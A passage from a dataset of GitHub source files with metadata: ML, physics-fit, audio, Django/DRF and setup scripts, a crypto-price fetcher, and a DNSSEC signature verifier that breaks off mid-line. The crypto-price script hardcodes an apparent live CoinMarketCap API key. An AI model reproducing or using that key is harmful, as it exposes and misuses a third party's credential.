np.percentile(reward_list, 50),\n            \"p25\": np.percentile(reward_list, 25),\n            \"p75\": np.percentile(reward_list, 75),\n        }\n", "repo_name": "charliec443/lightning-rl", "sub_path": "simple_pg.py", "file_name": "simple_pg.py", "file_ext": "py", "file_size_in_byte": 5425, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.utils.data.dataset.IterableDataset", "line_number": 37, "usage_type": "name"}, {"api_name": "pytorch_lightning.LightningModule", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.distributions.categorical.Categorical", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.as_tensor", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 112, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 113, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 120, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.as_tensor", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 148, "usage_type": "call"}]}
{"seq_id": "27660855228", "text": "from django.contrib import admin\nfrom .models import Product\n\n# Register your models here.\nclass ProductAdmin(admin.ModelAdmin):\n    list_display = (\n        'pri_key',\n        'name',\n        'price',\n        'seller',\n        'link',\n        'image'\n    )\n\n    ordering = ('pri_key',)\n\n\nadmin.site.register(Product, ProductAdmin)", "repo_name": "plzfday/Cheapify", "sub_path": "backend/main/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 331, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 5, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Product", "line_number": 18, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "70648119945", "text": "import json\nimport os\nimport cv2\n\n# get average r, g, b values for each image in the textures folder\ndef calculate_averages():\n    textures = './textures'\n    averages = {}\n    for filename in os.listdir(textures):\n        if filename.endswith('.png'):\n            img = cv2.imread(os.path.join(textures, filename))\n            averages[filename] = {\n                'r': int(cv2.mean(img)[0]),\n                'g': int(cv2.mean(img)[1]),\n                'b': int(cv2.mean(img)[2])\n            }\n            \n    return averages\n\n# write averages to the averages.json file\nwith open('averages.json', 'w') as f:\n    json.dump(calculate_averages(), f)", "repo_name": "cyric2020/video-animation-python", "sub_path": "get_averages.py", "file_name": "get_averages.py", "file_ext": "py", "file_size_in_byte": 649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.listdir", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.mean", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.mean", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.mean", "line_number": 15, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "72155451786", "text": "import pyroot_logon\nimport limits\n\nfrom ROOT import *\n\nf = TFile('/uscms_data/d2/kalanand/junk/vplusjets/CMSSW_5_3_2_patch4/src/ElectroWeakAnalysis/VPlusJets/test/TGC/mu_boosted.root')\n\nbackground = f.Get('background')\ndata_obs = f.Get('data_obs')\ndiboson = f.Get('diboson')\n\nbackground.Add(diboson, -1.)\n\ntheWS = RooWorkspace('theWS', 'theWS')\n\nwpt = theWS.factory('W_pt[%f,%f]' % (data_obs.GetBinLowEdge(1), \n                                     data_obs.GetBinLowEdge(data_obs.GetNbinsX())+data_obs.GetBinWidth(data_obs.GetNbinsX())))\nwpt.setBins(data_obs.GetNbinsX())\n\nlz = theWS.factory('lZ[0., -1., 1.]')\n# lz = theWS.factory('lZ[0.]')\nlz.setConstant(False)\ndkg = theWS.factory('dkg[0., -0.5, 0.5]')\ndg1 = theWS.factory('dg1[0.]')\n\n\nvars = RooArgList(wpt)\nvarSet = RooArgSet(wpt)\n\ndata = RooDataHist('data', 'data', vars, data_obs)\nbkgHist = RooDataHist('bkgHist', 'bkgHist', vars, background)\ndibosonHist = RooDataHist('dibosonHist', 'dibosonHist', vars, diboson)\n\nbkgPdf = RooHistPdf('bkgPdf', 'bkgPdf', varSet, bkgHist)\ndibosonPdf = RooHistPdf('dibosonPdf', 'dibosonPdf', varSet, dibosonHist)\n\naTGC = RooATGCFunction('aTGC', 'aTGC', wpt, lz, dkg, dg1, \n                       'TGC/ATGC_shape_coefficients.root')\naTGCPdf = RooEffProd('aTGCPdf', 'aTGCPdf', dibosonPdf, aTGC)\n\nnbkg = theWS.factory('prod::bkg_yield(n_bkg[%f],bkg_nrm[1.,-1.,5.])' % \\\n                         (background.Integral()))\nndiboson = theWS.factory('prod::diboson_yield(n_diboson[%f],diboson_nrm[1.,-1.,5.])' % \\\n                             (diboson.Integral()))\n\ngetattr(theWS, 'import')(data)\ngetattr(theWS, 'import')(bkgPdf)\ngetattr(theWS, 'import')(aTGCPdf)\n\ntheWS.factory('RooExtendPdf::bkg_extended(bkgPdf,bkg_yield)')\ntheWS.factory('RooExtendPdf::aTGC_extended(aTGCPdf,diboson_yield)')\ncomps = RooArgList(theWS.argSet('aTGC_extended,bkg_extended'))\ntotal = RooAddPdf('total', 'total', comps)\n\ngetattr(theWS, 'import')(total)\ntheWS.factory('RooGaussian::bkg_const(bkg_nrm, 1.0, 0.05)')\ntotal_const = theWS.factory('PROD::total_const(total, bkg_const)')\n\ntheWS.Print()\n\ntotal_const.fitTo(data, RooFit.Constrained(), RooFit.Extended())\n\nframe = wpt.frame()\ndata.plotOn(frame)\ntotal_const.plotOn(frame)\ntotal_const.plotOn(frame, RooFit.Components('bkg*'),\n                   RooFit.LineColor(kRed),\n                   RooFit.LineStyle(kDashed))\ndata.plotOn(frame)\nframe.Draw()\n\ngPad.Update()\ngPad.WaitPrimitive()\n\npoi = RooArgSet(lz, dkg)\n\nlimit = limits.plcLimit(wpt, poi, total_const, theWS, data, verbose = True)\n\n#theWS.Print()\nfout = TFile('ATGC_likelihood.root', 'recreate')\ntheWS.Write()\nfout.Close()\n", "repo_name": "cms-analysis/ElectroWeakAnalysis-VPlusJets", "sub_path": "test/runATGCLimit.py", "file_name": "runATGCLimit.py", "file_ext": "py", "file_size_in_byte": 2594, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "limits.plcLimit", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "1249897314", "text": "import struct, sys, time\nimport sounddevice as sd\n\n# Sample rate in frames per second.\nSAMPLE_RATE = 48_000\n\n# Frequency in cycles per second.\nFREQ = 400\n\n# Output time in seconds.\nSECS = 3.0\n\n# Size of output buffer in frames.\n# Increasing this beyond 2048 is likely to run into this bug\n# on PipeWire machines:\n# https://gitlab.freedesktop.org/pipewire/pipewire/-/issues/2373\nBUFFER_SIZE = 2048\n\n# Total number of frames to be sent.\nFRAMES = SAMPLE_RATE * SECS\n\n# Total number of buffers to be sent. The audio\n# interface requires whole buffers, so this number\n# may be one low due to truncation.\nBUFFERS = FRAMES // BUFFER_SIZE\n\n# Number of frames constituting a half cycle of the square\n# wave at the given frequency. The code only supports\n# whole numbers, so the frequency may be slightly higher\n# than desired due to truncation.\nFRAMES_PER_HALFCYCLE = SAMPLE_RATE // (2 * FREQ)\n\nprint(\"non-blocking square wave\")\nprint(\"sample_rate: {}, secs: {}, freq: {}\".format(\n        SAMPLE_RATE, SECS, FREQ))\nprint(\"buffer size: {}, buffers: {}, halfcycle: {}\".format(\n        BUFFER_SIZE, BUFFERS, FRAMES_PER_HALFCYCLE))\nprint(\"last buffer nominal size: {}\".format(\n         BUFFER_SIZE * (BUFFERS + 1) - FRAMES))\n\n# Used for the packing thingy.\n\n# State for the square generator.\ncycle = 0\nsign = 0.5\n\n# Square generator.\ndef callback(out_data, frames, time_info, status):\n    global cycle, sign\n\n    buffer = list()\n    for i in range(frames):\n        buffer.append(sign)\n        cycle += 1\n        if cycle >= FRAMES_PER_HALFCYCLE:\n            sign = -sign\n            cycle = 0\n    out_data[:] = struct.pack(\"{}f\".format(frames), *buffer)\n\n# Set up the stream.\nstream = sd.RawOutputStream(\n    samplerate = SAMPLE_RATE,\n    blocksize = BUFFER_SIZE,\n    channels = 1,\n    dtype = 'float32',\n    callback = callback,\n)\n            \n# Run the stream.\nstream.start()\ntime.sleep(SECS)\nstream.stop()\nstream.close()\n", "repo_name": "pdx-cs-sound/sounddevice-demos", "sub_path": "nbsquare.py", "file_name": "nbsquare.py", "file_ext": "py", "file_size_in_byte": 1911, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "struct.pack", "line_number": 58, "usage_type": "call"}, {"api_name": "sounddevice.RawOutputStream", "line_number": 61, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 71, "usage_type": "call"}]}
{"seq_id": "14848075793", "text": "from typing import List, Union, Dict, Any, Tuple\nfrom nltk.translate.bleu_score import corpus_bleu\nfrom altilia_text_metrics.metrics.nltk.nltk_utils import prepare_weights\nfrom altilia_text_metrics.metrics.nltk.nltk_utils import nltk_tokenizer\nfrom altilia_text_metrics.utils.environment import set_logger\nimport logging\n\n\nlogger = logging.getLogger()\n\n\ndef Bleu_nltk(\n    hypothesis: List[str],\n    references: Union[List[List[str]], List[str]],\n    **kwargs,\n):\n    \"\"\"Calculates the BLEU score using the NLTK library.\n\n    Args:\n        hypothesis: A list of strings representing the predicted text.\n        references: A list of lists of strings representing the reference text.\n        **kwargs: Additional keyword arguments to pass to the function.\n\n    Kwargs:\n        n_weights: int: The n-gram order for BLEU.\n\n    Returns:\n        A dictionary containing the BLEU score.\n    \"\"\"\n    logger = set_logger(kwargs[\"log_file_path\"])\n    logger.info(\"Computing BLEU score...\")\n\n    if isinstance(references[0], str):\n        references_post = [[x] for x in references]\n    else:\n        references_post = references\n\n    assert len(hypothesis) == len(references_post), f\"{len(hypothesis)} != {len(references_post)}\"\n    weights = prepare_weights(kwargs[\"bleu_n\"])\n    hypothesis_tok = [nltk_tokenizer(x) for x in hypothesis]\n    references_tok = [[nltk_tokenizer(x) for x in ref_list] for ref_list in references_post]\n    result = corpus_bleu(references_tok, hypothesis_tok)\n\n    logger.info(\"Computing BLEU score... FINISHED!\")\n\n    return {\"bleu\": result}\n", "repo_name": "LucaDeGrandis/text_metrics_wrapper", "sub_path": "text_metrics_wrapper/metrics/nltk/bleu.py", "file_name": "bleu.py", "file_ext": "py", "file_size_in_byte": 1562, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "altilia_text_metrics.utils.environment.set_logger", "line_number": 30, "usage_type": "call"}, {"api_name": "altilia_text_metrics.metrics.nltk.nltk_utils.prepare_weights", "line_number": 39, "usage_type": "call"}, {"api_name": "altilia_text_metrics.metrics.nltk.nltk_utils.nltk_tokenizer", "line_number": 40, "usage_type": "call"}, {"api_name": "altilia_text_metrics.metrics.nltk.nltk_utils.nltk_tokenizer", "line_number": 41, "usage_type": "call"}, {"api_name": "nltk.translate.bleu_score.corpus_bleu", "line_number": 42, "usage_type": "call"}]}
{"seq_id": "4561429884", "text": "#!/usr/bin/env python3\n# vim:ts=4:sts=4:sw=4:expandtab\n\nimport os\nimport re\nfrom setuptools import setup, find_namespace_packages\n\nkolejka_client = {\n        'name' : 'KolejkaClient',\n        'description' : 'Kolejka Client',\n        'packages' : find_namespace_packages(include=['kolejka.*']),\n        'install_requires' : [\n            'appdirs',\n            'requests',\n            'setproctitle',\n            'KolejkaCommon',\n        ],\n        'entry_points' : {\n            'console_scripts' : [\n                'kolejka-client = kolejka.client:main',\n            ],\n        },\n    }\n\nif __name__ == '__main__':\n    assert os.path.isfile(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'setup.cfg'))\n    setup(**kolejka_client)\n", "repo_name": "kolejka/kolejka", "sub_path": "packages/KolejkaClient/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 743, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "81", "api": [{"api_name": "setuptools.find_namespace_packages", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 26, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "21564841874", "text": "from rest_framework.viewsets import ModelViewSet\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework.filters import SearchFilter, OrderingFilter\nfrom datetime import datetime\nfrom rest_framework import status\nfrom yovoco.constants import *\nfrom copy import deepcopy\n\nclass CustomModelViewSet(ModelViewSet):\n\tfilter_backends=(DjangoFilterBackend, SearchFilter, OrderingFilter)\n\tordering_fields=(KEY_ID,)\n\t\n\tdef perform_create(self, serializer):\n\t\tuser=self.request.user\n\t\tserializer.save(created_by=user, updated_by=user)\n\t\t\n\tdef perform_update(self, serializer):\n\t\tserializer.update(self.get_object(), self.request.data)\n\t\t\n\tdef perform_destroy(self, instance):\n\t\tinstance.deleted_by=self.request.user\n\t\tinstance.deleted_at=datetime.now()\n\t\tinstance.save()\n\t\t\n\tdef get_queryset(self):\n\t\tuser=self.request.user\n\t\treturn self.queryset.filter(created_by=user, deleted_by=None)\n\t\n\tdef list(self, request, *args, **kwargs):\n\t\tresponse=super(CustomModelViewSet, self).list(request, *args, **kwargs)\n\t\tresponse.data.update({KEY_DETAIL: MESSAGE_SUCCESS, KEY_STATUS_CODE: status.HTTP_200_OK})\n\t\treturn response\n\n\tdef retrieve(self, request, *args, **kwargs):\n\t\tresponse=super(CustomModelViewSet, self).retrieve(request, *args, **kwargs)\n\t\tdata=deepcopy(response.data)\n\t\tresponse.data={KEY_DETAIL: MESSAGE_SUCCESS, KEY_STATUS_CODE: status.HTTP_200_OK, KEY_RESULTS: data}\n\t\treturn response\n\t\n\tdef create(self, request, *args, **kwargs):\n\t\tresponse=super(CustomModelViewSet, self).create(request, *args, **kwargs)\n\t\tdata=deepcopy(response.data)\n\t\tresponse.data={KEY_DETAIL: MESSAGE_SUCCESS, KEY_STATUS_CODE: status.HTTP_200_OK, KEY_RESULTS: data}\n\t\treturn response\n\t\n\tdef update(self, request, *args, **kwargs):\n\t\tresponse=super(CustomModelViewSet, self).update(request, *args, **kwargs)\n\t\tdata=deepcopy(response.data)\n\t\tresponse.data={KEY_DETAIL: MESSAGE_SUCCESS, KEY_STATUS_CODE: status.HTTP_200_OK, KEY_RESULTS: data}\n\t\treturn response", "repo_name": "minhdua/Yovoco", "sub_path": "yovoco/yovoco/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1956, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 9, "usage_type": "name"}, {"api_name": "django_filters.rest_framework.DjangoFilterBackend", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.filters.SearchFilter", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.filters.OrderingFilter", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 31, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 31, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 36, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 37, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 37, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 42, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 43, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 43, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 48, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 49, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 49, "usage_type": "name"}]}
{"seq_id": "17894562667", "text": "import numpy as np\nfrom scipy import spatial\n\n\ndef get_accuracy_by_structure(lvec, rvec, l_id, r_id, can_len, adj, weight):\n    \"\"\"\n    根据结构重排\n    Args:\n        lvec: 测试集左图谱向量\n        rvec: 测试集右图谱向量\n        l_id: 测试集左图谱id\n        r_id: 测试集右图谱id\n        can_len: 候选集重排长度\n        adj: 邻接矩阵\n        weight: 权重\n\n    Returns:\n    \"\"\"\n    Lent2mx = {e1: i for i, e1 in enumerate(l_id)}\n    mx2Lent = {i: e1 for i, e1 in enumerate(l_id)}\n    mx2Rent = {i: e2 for i, e2 in enumerate(r_id)}\n\n    sim = spatial.distance.cdist(lvec, rvec, metric='cityblock')\n\n    candidates = []\n    for i in range(lvec.shape[0]):\n        rank = sim[i, :].argsort()\n        candidates.append(list(map(lambda x: mx2Rent[x], rank[:can_len])))\n    candidates = np.array(candidates)\n\n    adj = adj.tocsr()\n    neighbors = []\n    for i in range(lvec.shape[0]):\n        ent_id = mx2Lent[i]\n        edge = []\n        for neighbor in adj[ent_id].nonzero()[1]:\n            if Lent2mx.get(neighbor, -1) != -1:\n                edge.append(neighbor)\n        neighbors.append(edge)\n\n    accuracy = 0.0\n    for i in range(lvec.shape[0]):\n        structured_enhance = {}\n        for rank_idx1 in range(can_len):\n            r_ent_id = candidates[i, rank_idx1]\n\n            dist_rank_ori = can_len - rank_idx1\n            dist_rank_nei = 0\n            for neighbor in neighbors[i]:\n                for rank_idx2 in range(can_len):\n                    l_ent_id = Lent2mx.get(neighbor, -1)\n                    if l_ent_id == -1:\n                        break\n                    r_neighbor_id = candidates[l_ent_id, rank_idx2]\n                    if adj[r_ent_id, r_neighbor_id]:\n                        dist_rank_nei += can_len - rank_idx2\n                        break\n            structured_enhance.update({r_ent_id: (dist_rank_ori + weight * dist_rank_nei)})\n        ordered = sorted(structured_enhance, key=structured_enhance.get, reverse=True)\n        accuracy += 1.0 if ordered[0] == mx2Rent[i] else 0.0\n    accuracy /= lvec.shape[0]\n    print('\\nL -> R Structure enhance accuracy: {:.2%}'.format(accuracy), weight)\n", "repo_name": "AchaserL/SSR", "sub_path": "AlN-SSR/code/structure.py", "file_name": "structure.py", "file_ext": "py", "file_size_in_byte": 2172, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scipy.spatial.distance.cdist", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 23, "usage_type": "attribute"}, {"api_name": "scipy.spatial", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "72238255945", "text": "import unittest\n\nfrom modules.loaders.tcx import TcxLoader\n\n\nclass TestLoader(unittest.TestCase):\n    def test_tcx(self):\n        data_course, data_course_points = TcxLoader.load_file(\n            \"tests/data/tcx/Mt_Angel_Abbey.tcx\"\n        )\n        self.assertEqual(len(data_course[\"latitude\"]), 946)\n        self.assertEqual(len(data_course_points[\"latitude\"]), 42)\n\n        # validate that course_point distance was set correctly\n        self.assertTrue(len(data_course_points[\"distance\"]))\n", "repo_name": "hishizuka/pizero_bikecomputer", "sub_path": "tests/test_loader.py", "file_name": "test_loader.py", "file_ext": "py", "file_size_in_byte": 495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 633, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "modules.loaders.tcx.TcxLoader.load_file", "line_number": 8, "usage_type": "call"}, {"api_name": "modules.loaders.tcx.TcxLoader", "line_number": 8, "usage_type": "name"}]}
{"seq_id": "16873834181", "text": "from tracemalloc import start\nfrom coinmarketcapapi  import CoinMarketCapAPI, CoinMarketCapAPIError\nfrom multiprocessing import Process, Pipe\nimport requests\n\n\n\n\ndef Overview(child_conn):\n    cmc = CoinMarketCapAPI('130a1d81-7986-45b9-ad32-372d7b0ce73b')\n    coin_list = [\"AXS\",\"ILV\",\"ATLAS\",\"SPS\",\"TLM\"]\n    sentiment_list = [3.2,4,3,3.7,3]\n    params = {\n            'start': 1,\n            'limit': 500,\n            'sort': 'market_cap',\n            'CMC_PRO_API_KEY': '130a1d81-7986-45b9-ad32-372d7b0ce73b'\n        }\n    r = requests.get('https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest', params=params)\n    all = r.json()\n    output_list = {}\n    for search in coin_list:\n        try :\n            r = cmc.cryptocurrency_info(symbol=search)\n            data = r.data[search]\n            filtered_data = {}\n            filtered_data[\"name\"] = data[\"name\"]\n            filtered_data[\"symbol\"] = data[\"symbol\"]\n            filtered_data[\"src\"] = data[\"logo\"]\n            for i in range(len(all)):\n                if search == all[\"data\"][i][\"name\"]:\n                    filtered_data[\"volume\"] = all[\"data\"][i][\"volume_24h\"],\n                    filtered_data[\"cap\"] = all[\"data\"][i][\"quote\"][\"USD\"][\"market_cap\"]\n            filtered_data[\"score\"] = sentiment_list[coin_list.index(search)]\n\n        except CoinMarketCapAPIError as e:\n            filtered_data = e\n        output_list[search] = filtered_data\n    \n    \n    child_conn.send(output_list)\n    child_conn.close()\n    \n    # print(data)\n    # for i in data:\n    # print(i+\" : \"+str(data[i]))\n\n    \n    #priceTHB = getPrice.data[\"quote\"][\"THB\"][\"price\"]\n    #priceTHB = (\"1 %s = %f THB\" % (search, priceTHB))\n", "repo_name": "phuriput44/heroku-api", "sub_path": "getOverview.py", "file_name": "getOverview.py", "file_ext": "py", "file_size_in_byte": 1691, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "coinmarketcapapi.CoinMarketCapAPI", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "coinmarketcapapi.CoinMarketCapAPIError", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "13045012011", "text": "import oidnstypes\nimport hashlib\nimport functools\nfrom Crypto.PublicKey import RSA\t\t#--+\nfrom Crypto.Signature import PKCS1_v1_5\t\t#  |\nimport Crypto.Hash\t\t\t\t#  |-> for RSA validation\nimport Crypto.Hash.SHA\t\t\t\t#  |\nimport Crypto.Hash.SHA256\t\t\t#  |\nimport Crypto.Hash.SHA512\t\t\t#--+\nimport ecdsa\t\t\t\t\t#----> for ECDSA validation\nimport nacl.encoding\t\t\t\t#--+-> for Ed25519 validation\nimport nacl.signing\t\t\t\t#--+\nimport eddsa_rfc8032\t\t\t\t#----> for Ed448 validation\n\n##\n# Configuration\n##\n\n# Time to add to the expiration time of signatures when \n# validating\nsignature_grace_time = 7200\n\n##\n# Convert a domain name to a binary-encoded owner name\n##\ndef str_to_owner(name):\n\towner_name = bytes()\n\n\tname = name.lower().replace('\\\\.','\\\\\\\\')\n\n\tfor label in name.split('.'):\n\t\tif len(label) > 0:\n\t\t\tlabel = label.replace('\\\\\\\\','.')\n\t\t\towner_name += bytes.fromhex('%02X' % len(label))\n\t\t\towner_name += bytes(label, \"utf8\")\n\n\towner_name += b'\\0'\n\n\treturn owner_name\n\n##\n# Compute a DS for the specified DNSKEY record\n##\n\ndef compute_ds(hash_obj, dnskey):\n\tif type(dnskey) is not oidnstypes.OI_DNSKEY_rec:\n\t\traise Exception(\"Cannot compute a DS for something that is not a DNSKEY\")\n\n\thash_obj.update(str_to_owner(dnskey.fqdn))\n\thash_obj.update(dnskey.towire())\n\treturn hash_obj.digest()\n\n##\n# Verify the supplied signature for the supplied RRset\n# using the supplied DNSKEY set\n##\n\ndef verify_sig(logger, rrset, dnskeyset, rrsig):\n\tif type(rrsig) is not oidnstypes.OI_RRSIG_rec:\n\t\traise Exception(\"Can only verify RRSIG records\")\n\n\t# Check expiration first\n\tif rrsig.timestamp < rrsig.inception - signature_grace_time:\n\t\tlogger.log_warn(\"Signature for {} on {} not valid yet ({} < {})\".format(rrset[0].fqdn, rrsig.type_covered, rrsig.timestamp, rrsig.inception))\n\t\treturn False, \"RRSIG is not yet valid (timestamp {}, inception {})\".format(rrsig.timestamp, rrsig.inception)\n\n\tif rrsig.timestamp > rrsig.expiration + signature_grace_time:\n\t\tlogger.log_warn(\"Signature for {} on {} expired ({} > {})\".format(rrset[0].fqdn, rrsig.type_covered, rrsig.timestamp, rrsig.expiration))\n\t\treturn False, \"RRSIG has expired (timestamp {}, expiration {})\".format(rrsig.timestamp, rrsig.expiration)\n\n\t# Start by collecting DNSKEYs that match the RRSIG's key tag\n\tmatching_keys = []\n\n\tfor dnskey in dnskeyset:\n\t\tif type(dnskey) is not oidnstypes.OI_DNSKEY_rec:\n\t\t\tcontinue\n\n\t\tif dnskey.keytag() == rrsig.keytag:\n\t\t\tmatching_keys.append(dnskey)\n\n\tif len(matching_keys) == 0:\n\t\tlogger.log_warn(\"Failed to find a DNSKEY with tag {} while validating signature over {} for {} (have keytag(s) {})\".format(rrsig.keytag, rrset[0].fqdn, rrsig.type_covered,[k.keytag() for k in dnskeyset]))\n\t\treturn False,\"Failed to find a matching DNSKEY\"\n\n\t# Get the RRset in wire format first\n\twire_rrset = []\n\n\tfor rec in rrset:\n\t\trecwire = rec.towire()\n\t\twire = bytes()\n\t\twire += str_to_owner(rec.fqdn)\n\t\twire += bytes.fromhex('%04X' % rec.rectype)\n\t\twire += bytes.fromhex('0001') # Always use class IN\n\t\twire += bytes.fromhex('%08X' % rrsig.original_ttl)\n\t\twire += bytes.fromhex('%04X' % len(recwire))\n\n\t\twire_rrset.append((wire, recwire))\n\n\t# Canonically order the RRset\n\twire_rrset.sort(key=lambda x: x[1])\n\n\t# Construct the signature verification data\n\tsig_input_data = bytes()\n\tsig_input_data += rrsig.verification_data()\n\n\tfor wire,rdata in wire_rrset:\n\t\tsig_input_data += wire\n\t\tsig_input_data += rdata\n\n\t# Do the verification\n\tverify_pass = False\n\treason = \"Could not verify signature with any of the provided DNSKEYs [{}]\".format(','.join(str(k.keytag()) for k in matching_keys))\n\n\tfor key in matching_keys:\n\t\tif key.algorithm in [ 5, 7, 8, 10 ]:\n\t\t\ttry:\n\t\t\t\t# Perform RSA verification\n\t\t\t\trsakey = RSA.construct((key.rsa_n_int, key.rsa_e_int))\n\t\t\t\tverifier = PKCS1_v1_5.new(rsakey)\n\t\t\t\thash_fn = None\n\t\n\t\t\t\tif key.algorithm in [ 5, 7 ]:\n\t\t\t\t\thash_fn = 